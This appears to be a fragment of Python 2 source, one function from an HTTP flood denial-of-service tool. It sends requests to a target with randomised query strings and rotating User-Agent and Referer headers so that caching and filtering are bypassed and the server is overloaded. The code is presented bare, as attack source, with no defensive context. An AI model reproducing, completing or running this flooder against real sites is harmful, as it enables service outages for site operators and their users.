1.py 文件源码

def httpcall(url):
    useragent_list()
    referer_list()
    code=0
    if url.count("?")>0:
        param_joiner="&"
    else:
        param_joiner="?"
    request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
    request.add_header('User-Agent', random.choice(headers_useragents))
    request.add_header('Cache-Control', 'no-cache')
    request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
    request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
    request.add_header('Keep-Alive', random.randint(110,120))
    request.add_header('Connection', 'keep-alive')
    request.add_header('Host',host)
    try:
            urllib2.urlopen(request)
    except urllib2.HTTPError, e:
            #print e.code
            set_flag(1)
            print 'Response Code 500'
            code=500
    except urllib2.URLError, e:
            #print e.reason
            sys.exit()
    else:
            inc_counter()
            urllib2.urlopen(request)
    return(code)        


#http caller thread